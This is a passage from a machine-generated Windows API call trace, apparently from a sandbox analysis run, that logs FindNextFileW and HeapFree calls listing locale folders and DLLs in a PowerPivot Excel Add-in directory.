lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0075.311] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.311] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0075.315] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.315] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0075.318] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.318] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0075.322] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.322] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0075.325] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.325] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0075.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.449] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0075.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.450] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0075.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.452] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0075.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.454] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0075.454] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0075.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0075.454] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0075.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.456] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0075.459] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.459] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0075.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.499] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0075.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0075.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.503] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0075.506] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.506] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0075.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.508] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0075.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.551] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0075.552] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.552] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0075.556] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.556] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0075.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.560] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0075.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.566] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0075.569] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.569] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0075.573] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.573] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0075.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.576] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0075.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.580] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0075.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.595] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0075.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.613] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0075.633] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.633] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0075.835] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.835] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0075.837] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.837] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0075.839] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.839] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0075.842] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.842] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0075.844] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.844] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0075.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.846] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0075.848] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.848] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0075.852] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.852] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0075.854] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.854] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0075.856] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.856] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0075.858] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) 